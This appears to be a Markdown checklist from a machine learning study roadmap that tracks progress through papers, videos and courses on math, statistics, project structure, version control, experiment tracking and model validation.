- [X] [Paper: AutoCompete: A Framework for Machine Learning Competitions](https://arxiv.org/abs/1507.02188)
- [X] [Paper: Cost-effective Deployment of BERT Models in Serverless Environment](https://mareksuppa.com/pdfs/naacl_2021_bert_serverless.pdf)
- [X] [Paper: Evaluating Large Language Models Trained on Code](https://arxiv.org/abs/2107.03374)
- [X] [Paper: What Does BERT Learn about the Structure of Language?](https://aclanthology.org/P19-1356/)
- [X] [Paper: What do RNN Language Models Learn about Filler–Gap Dependencies?](https://aclanthology.org/W18-5423/)
- [X] [Paper: Symbol Grounding and its Implications for Artificial Intelligence](https://www.researchgate.net/publication/221573971_Symbol_Grounding_and_its_Implications_for_Artificial_Intelligence)
- [X] [Paper: Is this a wampimuk? Cross-modal mapping between distributional semantics and the visual world](https://aclanthology.org/P14-1132/)
- [X] [Paper: MDETR -- Modulated Detection for End-to-End Multi-Modal Understanding](https://arxiv.org/abs/2104.12763)
- [X] [Paper: Multimodal Pretraining Unmasked: A Meta-Analysis and a Unified Framework of Vision-and-Language BERTs](https://arxiv.org/abs/2011.15124)
- [X] [Paper: Show and Tell: A Neural Image Caption Generator](https://arxiv.org/abs/1411.4555)
- [X] [Paper: The Curious Case of Neural Text Degeneration](https://arxiv.org/abs/1904.09751)
- [X] [Youtube: mixup: Beyond Empirical Risk Minimization (Paper Explained)](https://www.youtube.com/watch?v=a-VQfQqIMrE)
### Be able to model problems mathematically
- [ ] [3Blue1Brown: Essence of Calculus](https://www.youtube.com/playlist?list=PLZHQObOWTQDMsr9K-rj53DwVRMYO3t5Yr)
- [ ] [The Essence of Calculus, Chapter 1](https://www.youtube.com/watch?v=WUvTyaaNkzM) `0:17:04`
- [ ] [The paradox of the derivative | Essence of calculus, chapter 2](https://www.youtube.com/watch?v=9vKqVkMQHKk) `0:17:57`
- [ ] [Derivative formulas through geometry | Essence of calculus, chapter 3](https://www.youtube.com/watch?v=S0_qX4VJhMQ) `0:18:43`
- [ ] [Visualizing the chain rule and product rule | Essence of calculus, chapter 4](https://www.youtube.com/watch?v=YG15m2VwSjA) `0:16:52`
- [ ] [What's so special about Euler's number e? | Essence of calculus, chapter 5](https://www.youtube.com/watch?v=m2MIpDrF7Es) `0:13:50`
- [ ] [Implicit differentiation, what's going on here? | Essence of calculus, chapter 6](https://www.youtube.com/watch?v=qb40J4N1fa4) `0:15:33`
- [ ] [Limits, L'Hôpital's rule, and epsilon delta definitions | Essence of calculus, chapter 7](https://www.youtube.com/watch?v=kfF40MiS7zA) `0:18:26`
- [ ] [Integration and the fundamental theorem of calculus | Essence of calculus, chapter 8](https://www.youtube.com/watch?v=rfG8ce4nNh0) `0:20:46`
- [ ] [What does area have to do with slope? | Essence of calculus, chapter 9](https://www.youtube.com/watch?v=FnJqaIESC2s) `0:12:39`
- [ ] [Higher order derivatives | Essence of calculus, chapter 10](https://www.youtube.com/watch?v=BLkz5LGWihw) `0:05:38`
- [ ] [Taylor series | Essence of calculus, chapter 11](https://www.youtube.com/watch?v=3d6DsjIBzJ4) `0:22:19`
- [ ] [What they won't teach you in calculus](https://www.youtube.com/watch?v=CfW845LNObM) `0:16:22`
- [ ] [3Blue1Brown: Essence of linear algebra](https://www.youtube.com/playlist?list=PLZHQObOWTQDPD3MizzM2xVFitgF8hE_ab)
- [ ] [Vectors, what even are they? | Essence of linear algebra, chapter 1](https://www.youtube.com/watch?v=fNk_zzaMoSs) `0:09:52`
- [ ] [Linear combinations, span, and basis vectors | Essence of linear algebra, chapter 2](https://www.youtube.com/watch?v=k7RM-ot2NWY) `0:09:59`
- [ ] [Linear transformations and matrices | Essence of linear algebra, chapter 3](https://www.youtube.com/watch?v=kYB8IZa5AuE) `0:10:58`
- [ ] [Matrix multiplication as composition | Essence of linear algebra, chapter 4](https://www.youtube.com/watch?v=XkY2DOUCWMU) `0:10:03`
- [ ] [Three-dimensional linear transformations | Essence of linear algebra, chapter 5](https://www.youtube.com/watch?v=rHLEWRxRGiM) `0:04:46`
- [ ] [The determinant | Essence of linear algebra, chapter 6](https://www.youtube.com/watch?v=Ip3X9LOh2dk) `0:10:03`
- [ ] [Inverse matrices, column space and null space | Essence of linear algebra, chapter 7](https://www.youtube.com/watch?v=uQhTuRlWMxw) `0:12:08`
- [ ] [Nonsquare matrices as transformations between dimensions | Essence of linear algebra, chapter 8](https://www.youtube.com/watch?v=v8VSDg_WQlA) `0:04:27`
- [ ] [Dot products and duality | Essence of linear algebra, chapter 9](https://www.youtube.com/watch?v=LyGKycYT2v0) `0:14:11`
- [ ] [Cross products | Essence of linear algebra, Chapter 10](https://www.youtube.com/watch?v=eu6i7WJeinw) `0:08:53`
- [ ] [Cross products in the light of linear transformations | Essence of linear algebra chapter 11](https://www.youtube.com/watch?v=BaM7OCEm3G0) `0:13:10`
- [ ] [Cramer's rule, explained geometrically | Essence of linear algebra, chapter 12](https://www.youtube.com/watch?v=jBsC34PxzoM) `0:12:12`
- [ ] [Change of basis | Essence of linear algebra, chapter 13](https://www.youtube.com/watch?v=P2LTAUO1TdA) `0:12:50`
- [ ] [Eigenvectors and eigenvalues | Essence of linear algebra, chapter 14](https://www.youtube.com/watch?v=PFDu9oVAE-g) `0:17:15`
- [ ] [Abstract vector spaces | Essence of linear algebra, chapter 15](https://www.youtube.com/watch?v=TgKwz5Ikpc8) `0:16:46`
- [X] [3Blue1Brown: Neural networks](https://www.youtube.com/playlist?list=PLZHQObOWTQDNU6R1_67000Dx_ZCJB-3pi)
- [X] [But what is a Neural Network? | Deep learning, chapter 1](https://www.youtube.com/watch?v=aircAruvnKk) `0:19:13`
- [X] [Gradient descent, how neural networks learn | Deep learning, chapter 2](https://www.youtube.com/watch?v=IHZwWFHWa-w) `0:21:01`
- [X] [What is backpropagation really doing? | Deep learning, chapter 3](https://www.youtube.com/watch?v=Ilg3gGewQ5U) `0:13:54`
- [X] [Backpropagation calculus | Deep learning, chapter 4](https://www.youtube.com/watch?v=tIeHLnjs5U8) `0:10:17`
- [X] [Article: A Visual Tour of Backpropagation](https://blog.jinay.dev/posts/backprop/)
- [X] [Article: Entropy, Cross Entropy, and KL Divergence](https://towardsdatascience.com/entropy-cross-entropy-and-kl-divergence-17138ffab87b)
- [ ] [Article: Interview Guide to Probability Distributions](https://medium.com/acing-ai/interview-guide-to-probability-distributions-a6dfb08c3766)
- [ ] [Article: Introduction to Linear Algebra for Applied Machine Learning with Python](https://pabloinsente.github.io/intro-linear-algebra)
- [ ] [Article: Entropy of a probability distribution — in layman’s terms](https://medium.com/@ajitrajasekharan/entropy-of-a-probability-distribution-explained-in-laymans-terms-8a4139b329bc)
- [ ] [Article: KL Divergence — in layman’s terms](https://medium.com/@ajitrajasekharan/what-is-kl-divergence-d1fb7921ee5b)
- [ ] [Article: Probability Distributions](https://www.simonwardjones.co.uk/posts/probability_distributions/)
- [ ] [Article: Relearning Matrices as Linear Functions](https://www.dhruvonmath.com/2018/12/31/matrices/)
- [ ] [Article: You Could Have Come Up With Eigenvectors - Here's How](https://www.dhruvonmath.com/2019/02/25/eigenvectors/)
- [ ] [Article: PageRank - How Eigenvectors Power the Algorithm Behind Google Search](https://www.dhruvonmath.com/2019/03/20/pagerank/)
- [ ] [Article: Interactive Visualization of Why Eigenvectors Matter](https://www.dhruvonmath.com/2020/07/26/who-cares-about-eigenvectors/)
- [ ] [Article: Cross-Entropy and KL Divergence](https://medium.com/swlh/cross-entropy-and-kl-divergence-522d9f71bd3d)
- [ ] [Article: Why Randomness Is Information?](https://medium.com/swlh/why-randomness-is-information-f2468966b29d)
- [ ] [Article: Basic Probability Theory](https://medium.com/swlh/probability-for-machine-learning-and-data-science-cccd4f4f1df1)
- [X] [Article: Math You Need to Succeed In ML Interviews](https://towardsdatascience.com/math-you-need-to-succeed-in-ml-interviews-9e717d61f296)
- [ ] [Book: Basics of Linear Algebra for Machine Learning](https://machinelearningmastery.com/linear_algebra_for_machine_learning/)
- [X] [Datacamp: Introduction to Statistics in Python](https://www.datacamp.com/courses/introduction-to-statistics-in-python)
- [X] [Datacamp: Foundations of Probability in Python](https://www.datacamp.com/courses/foundations-of-probability-in-python)
- [ ] [Datacamp: Statistical Thinking in Python (Part 1)](https://www.datacamp.com/courses/statistical-thinking-in-python-part-1)
- [ ] [Datacamp: Statistical Thinking in Python (Part 2)](https://www.datacamp.com/courses/statistical-thinking-in-python-part-2)
- [ ] [Datacamp: Statistical Simulation in Python](https://www.datacamp.com/courses/statistical-simulation-in-python)
- [X] [edX: Essential Statistics for Data Analysis using Excel](https://www.edx.org/course/essential-statistics-data-analysis-using-microsoft-dat222x-1)
- [ ] [Computational Linear Algebra for Coders](https://github.com/fastai/numerical-linear-algebra)
- [ ] [Khan Academy: Precalculus](https://www.khanacademy.org/math/precalculus)
- [ ] [Khan Academy: Probability](https://www.khanacademy.org/mission/probability)
- [ ] [Khan Academy: Differential Calculus](https://www.khanacademy.org/mission/differential-calculus)
- [ ] [Khan Academy: Multivariable Calculus](https://www.khanacademy.org/math/multivariable-calculus)
- [ ] [Khan Academy: Linear Algebra](https://www.khanacademy.org/math/linear-algebra)
- [ ] [MIT: 18.06 Linear Algebra (Professor Strang)](https://ocw.mit.edu/courses/mathematics/18-06-linear-algebra-spring-2010/)
- [X] [1. The Geometry of Linear Equations](https://www.youtube.com/watch?v=J7DzL2_Na80) `0:39:49`
- [X] [2. Elimination with Matrices.](https://www.youtube.com/watch?v=QVKj3LADCnA) `0:47:41`
- [X] [3. Multiplication and Inverse Matrices](https://www.youtube.com/watch?v=FX4C-JpTFgY) `0:46:48`
- [X] [4. Factorization into A = LU](https://www.youtube.com/watch?v=MsIvs_6vC38) `0:48:05`
- [X] [5. Transposes, Permutations, Spaces R^n](https://www.youtube.com/watch?v=JibVXBElKL0) `0:47:41`
- [X] [6. Column Space and Nullspace](https://www.youtube.com/watch?v=8o5Cmfpeo6g) `0:46:01`
- [X] [9. Independence, Basis, and Dimension](https://www.youtube.com/watch?v=yjBerM5jWsc) `0:50:14`
- [X] [10. The Four Fundamental Subspaces](https://www.youtube.com/watch?v=nHlE7EgJFds) `0:49:20`
- [X] [11. Matrix Spaces; Rank 1; Small World Graphs](https://www.youtube.com/watch?v=2IdtqGM6KWU) `0:45:55`
- [X] [14. Orthogonal Vectors and Subspaces](https://www.youtube.com/watch?v=YzZUIYRCE38) `0:49:47`
- [X] [15. Projections onto Subspaces](https://www.youtube.com/watch?v=Y_Ac6KiQ1t0) `0:48:51`
- [X] [16. Projection Matrices and Least Squares](https://www.youtube.com/watch?v=osh80YCg_GM) `0:48:05`
- [X] [17. Orthogonal Matrices and Gram-Schmidt](https://www.youtube.com/watch?v=0MtwqhIwdrI) `0:49:09`
- [X] [21. Eigenvalues and Eigenvectors](https://www.youtube.com/watch?v=cdZnhQjJu4I) `0:51:22`
- [ ] [22. Diagonalization and Powers of A](https://www.youtube.com/watch?v=13r9QY6cmjc) `0:51:50`
- [ ] [24. Markov Matrices; Fourier Series](https://www.youtube.com/watch?v=lGGDIGizcQ0) `0:51:11`
- [ ] [25. Symmetric Matrices and Positive Definiteness](https://www.youtube.com/watch?v=UCc9q_cAhho) `0:43:52`
- [ ] [27. Positive Definite Matrices and Minima](https://www.youtube.com/watch?v=vF7eyJ2g3kU) `0:50:40`
- [ ] [29. Singular Value Decomposition](https://www.youtube.com/watch?v=TX_vooSnhm8) `0:40:28`
- [ ] [30. Linear Transformations and Their Matrices](https://www.youtube.com/watch?v=Ts3o2I8_Mxc) `0:49:27`
- [ ] [31. Change of Basis; Image Compression](https://www.youtube.com/watch?v=0h43aV4aH7I) `0:50:13`
- [ ] [33. Left and Right Inverses; Pseudoinverse](https://www.youtube.com/watch?v=Go2aLo7ZOlU) `0:41:52`
- [ ] [StatQuest: Statistics Fundamentals](https://www.youtube.com/playlist?list=PLblh5JKOoLUK0FLuzwntyYI10UQFUhsY9)
- [ ] [StatQuest: Histograms, Clearly Explained](https://www.youtube.com/watch?v=qBigTkBLU6g) `0:03:42`
- [ ] [StatQuest: What is a statistical distribution?](https://www.youtube.com/watch?v=oI3hZJqXJuc) `0:05:14`
- [ ] [StatQuest: The Normal Distribution, Clearly Explained!!!](https://www.youtube.com/watch?v=rzFX5NWojp0) `0:05:12`
- [ ] [Statistics Fundamentals: Population Parameters](https://www.youtube.com/watch?v=vikkiwjQqfU) `0:14:31`
- [ ] [Statistics Fundamentals: The Mean, Variance and Standard Deviation](https://www.youtube.com/watch?v=SzZ6GpcfoQY) `0:14:22`
- [ ] [StatQuest: What is a statistical model?](https://www.youtube.com/watch?v=yQhTtdq_y9M) `0:03:45`
- [ ] [StatQuest: Sampling A Distribution](https://www.youtube.com/watch?v=XLCWeSVzHUU) `0:03:48`
- [ ] [Hypothesis Testing and The Null Hypothesis](https://www.youtube.com/watch?v=0oc49DyA3hU) `0:14:40`
- [ ] [Alternative Hypotheses: Main Ideas!!!](https://www.youtube.com/watch?v=5koKb5B_YWo) `0:09:49`
- [ ] [p-values: What they are and how to interpret them](https://www.youtube.com/watch?v=vemZtEM63GY) `0:11:22`
- [ ] [How to calculate p-values](https://www.youtube.com/watch?v=JQc3yx0-Q9E) `0:25:15`
- [ ] [p-hacking: What it is and how to avoid it!](https://www.youtube.com/watch?v=HDCOUXE3HMM) `0:13:44`
- [ ] [Statistical Power, Clearly Explained!!!](https://www.youtube.com/watch?v=Rsc5znwR5FA) `0:08:19`
- [ ] [Power Analysis, Clearly Explained!!!](https://www.youtube.com/watch?v=VX_M3tIyiYk) `0:16:44`
- [ ] [Covariance and Correlation Part 1: Covariance](https://www.youtube.com/watch?v=qtaqvPAeEJY) `0:22:23`
- [ ] [Covariance and Correlation Part 2: Pearson's Correlation](https://www.youtube.com/watch?v=xZ_z8KWkhXE) `0:19:13`
- [ ] [StatQuest: R-squared explained](https://www.youtube.com/watch?v=2AQKmw14mHM) `0:11:01`
- [ ] [The Central Limit Theorem](https://www.youtube.com/watch?v=YAlJCEDH2uY) `0:07:35`
- [ ] [StatQuickie: Standard Deviation vs Standard Error](https://www.youtube.com/watch?v=A82brFpdr9g) `0:02:52`
- [ ] [StatQuest: The standard error](https://www.youtube.com/watch?v=XNgt7F6FqDU) `0:11:43`
- [ ] [StatQuest: Technical and Biological Replicates](https://www.youtube.com/watch?v=Exk0OoRG0PQ) `0:05:27`
- [ ] [StatQuest - Sample Size and Effective Sample Size, Clearly Explained](https://www.youtube.com/watch?v=67zCIqdeXpo) `0:06:32`
- [ ] [Bar Charts Are Better than Pie Charts](https://www.youtube.com/watch?v=RiEZ_hEf96A) `0:01:45`
- [ ] [StatQuest: Boxplots, Clearly Explained](https://www.youtube.com/watch?v=fHLhBnmwUM0) `0:02:33`
- [ ] [StatQuest: Logs (logarithms), clearly explained](https://www.youtube.com/watch?v=VSi0Z04fWj0) `0:15:37`
- [ ] [StatQuest: Confidence Intervals](https://www.youtube.com/watch?v=TqOeMYtOc1w) `0:06:41`
- [ ] [StatQuickie: Thresholds for Significance](https://www.youtube.com/watch?v=KEofcJ1tfkI) `0:06:40`
- [ ] [StatQuickie: Which t test to use](https://www.youtube.com/watch?v=nnBJeb_I-q8) `0:05:10`
- [ ] [StatQuest: One or Two Tailed P-Values](https://www.youtube.com/watch?v=bsZGt-caXO4) `0:07:05`
- [ ] [The Binomial Distribution and Test, Clearly Explained!!!](https://www.youtube.com/watch?v=J8jNoF-K8E8) `0:15:46`
- [ ] [StatQuest: Quantiles and Percentiles, Clearly Explained!!!](https://www.youtube.com/watch?v=IFKQLDmRK0Y) `0:06:30`
- [ ] [StatQuest: Quantile-Quantile Plots (QQ plots), Clearly Explained](https://www.youtube.com/watch?v=okjYjClSjOg) `0:06:55`
- [ ] [StatQuest: Quantile Normalization](https://www.youtube.com/watch?v=ecjN6Xpv6SE) `0:04:51`
- [X] [StatQuest: Probability vs Likelihood](https://www.youtube.com/watch?v=pYxNSUDSFH4) `0:05:01`
- [ ] [StatQuest: Maximum Likelihood, clearly explained!!!](https://www.youtube.com/watch?v=XepXtl9YKwc) `0:06:12`
- [ ] [Maximum Likelihood for the Exponential Distribution, Clearly Explained! V2.0](https://www.youtube.com/watch?v=p3T-_LMrvBc) `0:09:39`
- [ ] [Why Dividing By N Underestimates the Variance](https://www.youtube.com/watch?v=sHRBg6BhKjI) `0:17:14`
- [ ] [Maximum Likelihood for the Binomial Distribution, Clearly Explained!!!](https://www.youtube.com/watch?v=4KKV9yZCoM4) `0:11:24`
- [ ] [Maximum Likelihood For the Normal Distribution, step-by-step!](https://www.youtube.com/watch?v=Dn6b9fCIUpM) `0:19:50`
- [ ] [StatQuest: Odds and Log(Odds), Clearly Explained!!!](https://www.youtube.com/watch?v=ARfXDSkQf1Y) `0:11:30`
- [ ] [StatQuest: Odds Ratios and Log(Odds Ratios), Clearly Explained!!!](https://www.youtube.com/watch?v=8nm0G-1uJzA) `0:16:20`
- [ ] [Live 2020-04-20!!! Expected Values](https://www.youtube.com/watch?v=fU2PuYKsr6M) `0:33:00`
- [X] [Udacity: Eigenvectors and Eigenvalues](https://www.udacity.com/course/eigenvectors-and-eigenvalues--ud104)
- [ ] [Udacity: Linear Algebra Refresher](https://www.udacity.com/course/linear-algebra-refresher-course--ud953)
- [ ] [Udacity: Statistics](https://www.udacity.com/course/statistics--st095)
- [ ] [Udacity: Intro to Descriptive Statistics](https://www.udacity.com/course/intro-to-descriptive-statistics--ud827)
- [ ] [Udacity: Intro to Inferential Statistics](https://www.udacity.com/course/intro-to-inferential-statistics--ud201)
### Be able to setup project structure
- [X] [Article: pydantic](https://towardsdatascience.com/pydantic-688e897cfd3a)
- [ ] [Article: Organizing machine learning projects: project management guidelines](https://www.jeremyjordan.me/ml-projects-guide/)
- [ ] [Article: Logging and Debugging in Machine Learning - How to use Python debugger and the logging module to find errors in your AI application](https://theaisummer.com/logging-debugging/)
- [ ] [Article: Best practices to write Deep Learning code: Project structure, OOP, Type checking and documentation](https://theaisummer.com/best-practices-deep-learning-code/)
- [X] [Article: Configuring Google Colab Like A Pro](https://medium.com/@robertbracco1/configuring-google-colab-like-a-pro-d61c253f7573)
- [X] [Article: Stop using print, start using loguru in Python](https://handyman.dulare.com/stop-using-print-start-using-loguru-in-python/)
- [ ] [Article: Hypermodern Python](https://cjolowicz.github.io/posts/hypermodern-python-01-setup/)
- [ ] [Article: Hypermodern Python Chapter 2: Testing](https://cjolowicz.github.io/posts/hypermodern-python-02-testing/)
- [ ] [Article: Hypermodern Python Chapter 3: Linting](https://cjolowicz.github.io/posts/hypermodern-python-03-linting/)
- [ ] [Article: Hypermodern Python Chapter 4: Typing](https://cjolowicz.github.io/posts/hypermodern-python-04-typing/)
- [ ] [Article: Hypermodern Python Chapter 5: Documentation](https://cjolowicz.github.io/posts/hypermodern-python-05-documentation/)
- [ ] [Article: Hypermodern Python Chapter 6: CI/CD](https://cjolowicz.github.io/posts/hypermodern-python-06-ci-cd/)
- [ ] [Article: Push and pull: when and why to update your dependencies](https://pythonspeed.com/articles/when-update-dependencies/)
- [ ] [Article: Reproducible and upgradable Conda environments: dependency management with conda-lock](https://pythonspeed.com/articles/conda-dependency-management/)
- [ ] [Article: Options for packaging your Python code: Wheels, Conda, Docker, and more](https://pythonspeed.com/articles/distributing-software/)
- [X] [Article: Making model training scripts robust to spot interruptions](https://spell.ml/blog/spot-interruptions-XzQ5jRIAACIAK3h2)
- [X] [Calmcode: logging](https://calmcode.io/logging/introduction.html)
- [X] [Calmcode: tqdm](https://calmcode.io/tqdm/making-a-progress-bar.html)
- [X] [Calmcode: virtualenv](https://calmcode.io/virtualenv/intro.html)
- [ ] [Coursera: Structuring Machine Learning Projects](https://www.coursera.org/learn/machine-learning-projects?specialization=deep-learning)
- [ ] [Doc: Python Lifecycle Training](https://sp-fm.github.io/python-lifecycle-training/index.html)
- [X] [Datacamp: Introduction to Data Engineering](https://www.datacamp.com/courses/introduction-to-data-engineering)
- [X] [Datacamp: Conda Essentials](https://www.datacamp.com/courses/conda-essentials)
- [ ] [Datacamp: Conda for Building & Distributing Packages](https://www.datacamp.com/courses/conda-for-building-distributing-packages)
- [X] [Datacamp: Software Engineering for Data Scientists in Python](https://www.datacamp.com/courses/software-engineering-for-data-scientists-in-python)
- [X] [Datacamp: Designing Machine Learning Workflows in Python](https://www.datacamp.com/courses/designing-machine-learning-workflows-in-python)
- [X] [Datacamp: Object-Oriented Programming in Python](https://www.datacamp.com/courses/object-oriented-programming-in-python)
- [ ] [Datacamp: Command Line Automation in Python](https://www.datacamp.com/courses/command-line-automation-in-python)
- [X] [Datacamp: Creating Robust Python Workflows](https://www.datacamp.com/courses/creating-robust-python-workflows)
- [X] [Developing Python Packages](https://www.datacamp.com/courses/developing-python-packages)
- [X] [Treehouse: Object Oriented Python](https://teamtreehouse.com/library/objectoriented-python-2)
- [X] [Treehouse: Setup Local Python Environment](https://teamtreehouse.com/library/setting-utorialtorialp-a-local-python-environment-windows)
- [ ] [Udacity: Writing READMEs](https://www.udacity.com/course/writing-readmes--ud777)
- [X] [Youtube: Lecture 1: Introduction to Deep Learning](https://youtu.be/5AjG5OPQuBM)
- [X] [Youtube: Lecture 2: Setting Up Machine Learning Projects](https://youtu.be/tBUK1_cHu-8)
- [X] [Youtube: Lecture 3: Introduction to the Text Recognizer Project](https://youtu.be/mmlvGLSXKLc)
- [X] [Youtube: Lecture 4: Infrastructure and Tooling](https://youtu.be/f6jAz1zyrDI)
- [X] [Youtube: Hydra configuration](https://uniroma1.zoom.us/rec/share/bTYldvVYRcN2UaBn8UTf3uuFQMkx8yy4UG4bRw8ikE1tT8Ll74Nl3WZoUXnJRCKE.HEhRruThY3al1jew?startTime=1620378786000)
- [X] [Youtube: Continuous integration](https://uniroma1.zoom.us/rec/share/W6zWeel0z0w561Rza8iaoP39daROQ7MN144R2VYSksMhSBrh6l1MPrd_jIUFiy4s.fpA9W3TdJdXg_2Hx?startTime=1620983293000)
- [X] [Youtube: Data Engineering + ML + Software Engineering // Satish Chandra Gupta // MLOps Coffee Sessions #16](https://www.youtube.com/watch?v=IUhvO8QjWd8&list=LL&index=2)
- [X] [Youtube: OO Design and Testing Patterns for Machine Learning with Chris Gerpheide](https://www.youtube.com/watch?v=VuQaS0FFUFY)
- [X] [Youtube: Tutorial: Sebastian Witowski - Modern Python Developer's Toolkit](https://www.youtube.com/watch?v=WkUBx3g2QfQ&feature=youtu.be)
- [ ] [Youtube: Lecture 13: ML Teams (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=8daKeuaWgjk) `0:58:13`
- [ ] [Youtube: Lecture 5: ML Projects (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=pxisK6RMn1s) `1:13:14`
- [ ] [Youtube: Lecture 6: Infrastructure & Tooling (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=760Mc_b3_N0) `1:07:21`
### Be able to version control code
- [ ] [Article: Mastering Git Stash Workflow](https://dev.to/yankee/mastering-git-stash-workflow-223)
- [X] [Article: How to Become a Master of Git Tags](https://blog.daftcode.pl/how-to-become-a-master-of-git-tags-b70fbd9609d9)
- [X] [Article: How to track large files in Github / Bitbucket? Git LFS to the rescue](https://pgaijin66.medium.com/how-to-track-large-files-in-github-bitbucket-git-lfs-to-the-rescue-2f298e07b3d2)
- [ ] [Article: Keep your git directory clean with `git clean` and `git trash`](https://coderwall.com/p/g16jpq/keep-your-git-directory-clean-with-git-clean-and-git-trash)
- [X] [Codecademy: Learn Git](https://www.codecademy.com/learn/learn-git)
- [X] [Code School: Git Real](https://www.pluralsight.com/courses/code-school-git-real)
- [X] [Datacamp: Introduction to Git for Data Science](https://www.datacamp.com/courses/introduction-to-git-for-data-science)
- [ ] [Thoughtbot: Mastering Git](https://thoughtbot.com/upcase/mastering-git)
- [X] [Udacity: GitHub & Collaboration](https://www.udacity.com/course/github-collaboration--ud456)
- [X] [Udacity: How to Use Git and GitHub](https://www.udacity.com/course/how-to-use-git-and-github--ud775)
- [X] [Udacity: Version Control with Git](https://www.udacity.com/course/version-control-with-git--ud123)
- [X] [Youtube: 045 Introduction to Git LFS](https://youtu.be/xPFLAAhuGy0)
- [X] [Youtube: Git & Scripting](https://uniroma1.zoom.us/rec/share/bTYldvVYRcN2UaBn8UTf3uuFQMkx8yy4UG4bRw8ikE1tT8Ll74Nl3WZoUXnJRCKE.HEhRruThY3al1jew?startTime=1620371740000)
### Be able to version control data
- [ ] [Youtube: DVC Basics](https://www.youtube.com/playlist?list=PL7WG7YrwYcnDb0qdPl9-KEStsL-3oaEjg)
- [X] [Versioning Data with DVC (Hands-On Tutorial!)](https://www.youtube.com/watch?v=kLKBcPonMYw) `0:13:04`
- [X] [Sharing Data and Models with DVC (Hands-On Data Science Tutorial!)](https://www.youtube.com/watch?v=EE7Gk84OZY8) `0:08:53`
- [ ] [Article: ML Ops: Data Science Version Control](https://medium.com/acing-ai/ml-ops-data-science-version-control-5935c49d1b76)
- [X] [Youtube: Data versioning in machine learning projects - Dmitry Petrov](https://www.youtube.com/watch?v=BneW7jgB298) `0:34:44`
- [X] [Zoom: Data versioning with DVC Part 1](https://uniroma1.zoom.us/rec/share/74BYg5pKsplJLy4p-Yvo6g5bFa7eAEATwgqv5jzu6brzNZETWA9nISj_CK8_o192.WDm8fOY7zzd96bLA?startTime=1620383404000)
- [X] [Zoom: Data versioning with DVC Part 2](https://uniroma1.zoom.us/rec/share/c2HsnkU5-DSdKWatv9AlmEjLM0a_i741VtnAZOx-eea2loTltiFPKBX196UaT8_3.-B4RbvXecplLujXK?startTime=1620803785000)
### Be able to use experiment management tools
- [X] [Article: Supercharge your Training with Pytorch Lightning + Weights & Biases](https://colab.research.google.com/github/wandb/examples/blob/master/colabs/pytorch-lightning/Supercharge_your_Training_with_Pytorch_Lightning_%2B_Weights_%26_Biases.ipynb)
- [X] [Article: Storing Metadata from Machine Learning Experiments](https://mlinproduction.com/ml-metadata/)
- [X] [Youtube: Weights and Biases Tutorial](https://www.youtube.com/playlist?list=PLD80i8An1OEE0xs5BjKpCBdm0aaDI00U9)
- [X] [Youtube: Integrate Weights & Biases with PyTorch](https://www.youtube.com/watch?v=G7GH0SeNBMA&list=PLD80i8An1OEGajeVo15ohAQYF1Ttle0lk&index=2)
- [X] [Youtube: Log (Almost) Anything with Weights & Biases](https://www.youtube.com/watch?v=96MxRvx15Ts&list=PLD80i8An1OEGajeVo15ohAQYF1Ttle0lk&index=3)
- [X] [Youtube: Lab 5: Experiment Management (Full Stack Deep Learning - Spring 2021)](https://www.youtube.com/watch?v=8ylfWMYhLD4) `0:30:41`
- [X] [Youtube: Lecture 5: Tracking Experiments](https://youtu.be/Eiz1zcqrqw0)
- [ ] [Youtube: Weight & Biases](https://uniroma1.zoom.us/rec/share/W6zWeel0z0w561Rza8iaoP39daROQ7MN144R2VYSksMhSBrh6l1MPrd_jIUFiy4s.fpA9W3TdJdXg_2Hx?startTime=1620976559000)
- [ ] [Youtube: SE4AI: Versioning, Provenance, and Reproducibility](https://www.youtube.com/watch?v=eGlIW28eRfA) `1:18:29`
### Be able to setup model validation
- [ ] [Article: Evaluating a machine learning model](https://www.jeremyjordan.me/evaluating-a-machine-learning-model/)
- [X] [Article: Validating your Machine Learning Model](https://www.maartengrootendorst.com/blog/validate/)
- [ ] [Article: Measuring Performance: AUPRC and Average Precision](https://glassboxmedicine.com/2019/03/02/measuring-performance-auprc/)
- [ ] [Article: Measuring Performance: AUC (AUROC)](https://glassboxmedicine.com/2019/02/23/measuring-performance-auc-auroc/)
- [ ] [Article: Measuring Performance: The Confusion Matrix](https://glassboxmedicine.com/2019/02/17/measuring-performance-the-confusion-matrix/)
- [ ] [Article: Measuring Performance: Accuracy](https://glassboxmedicine.com/2019/02/16/measuring-performance-accuracy/)
- [ ] [Article: ROC Curves: Intuition Through Visualization](https://www.pragmatic.ml/intuition-through-visualization-roc-auc/)
- [X] [Article: Precision, Recall, Accuracy, and F1 Score for Multi-Label Classification](https://medium.com/synthesio-engineering/precision-accuracy-and-f1-score-for-multi-label-classification-34ac6bdfb404)
- [ ] [Article: The Complete Guide to AUC and Average Precision: Simulations and Visualizations](https://glassboxmedicine.com/2020/07/14/the-complete-guide-to-auc-and-average-precision-simulations-and-visualizations/)
- [X] [Article: Best Use of Train/Val/Test Splits, with Tips for Medical Data](https://glassboxmedicine.com/2019/09/15/best-use-of-train-val-test-splits-with-tips-for-medical-data/)
- [X] [Article: The correct way to evaluate online machine learning models](https://maxhalford.github.io/blog/online-learning-evaluation/)
- [X] [Article: Proxy Metrics](https://gibsonbiddle.medium.com/4-proxy-metrics-a82dd30ca810)
- [X] [Youtube: Accuracy as a Failure](https://youtu.be/YGuVuZpTop0)
- [X] [Youtube: Applied ML 2020 - 09 - Model Evaluation and Metrics](https://www.youtube.com/watch?v=trg3YkCsjqE) `1:18:23`
- [X] [Youtube: Machine Learning Fundamentals: Cross Validation](https://www.youtube.com/watch?v=fSytzGwwBVw) `0:06:04`
- [X] [Youtube: Machine Learning Fundamentals: The Confusion Matrix](https://www.youtube.com/watch?v=Kdsp6soqA7o) `0:07:12`
- [X] [Youtube: Machine Learning Fundamentals: Sensitivity and Specificity](https://www.youtube.com/watch?v=vP06aMoz4v8) `0:11:46`
- [X] [Youtube: Machine Learning Fundamentals: Bias and Variance](https://www.youtube.com/watch?v=EuBBz3bI-aA) `0:06:36`
- [X] [Youtube: ROC and AUC, Clearly Explained!](https://www.youtube.com/watch?v=4jRBRDbJemM) `0:16:26`
### Be familiar with inner working of models
- [ ] [Article: Naive Bayes classification](https://www.jeremyjordan.me/naive-bayes-classification/)
- [ ] [Article: Linear regression](https://www.jeremyjordan.me/linear-regression/)
- [ ] [Article: Polynomial regression](https://www.jeremyjordan.me/polynomial-regression/)
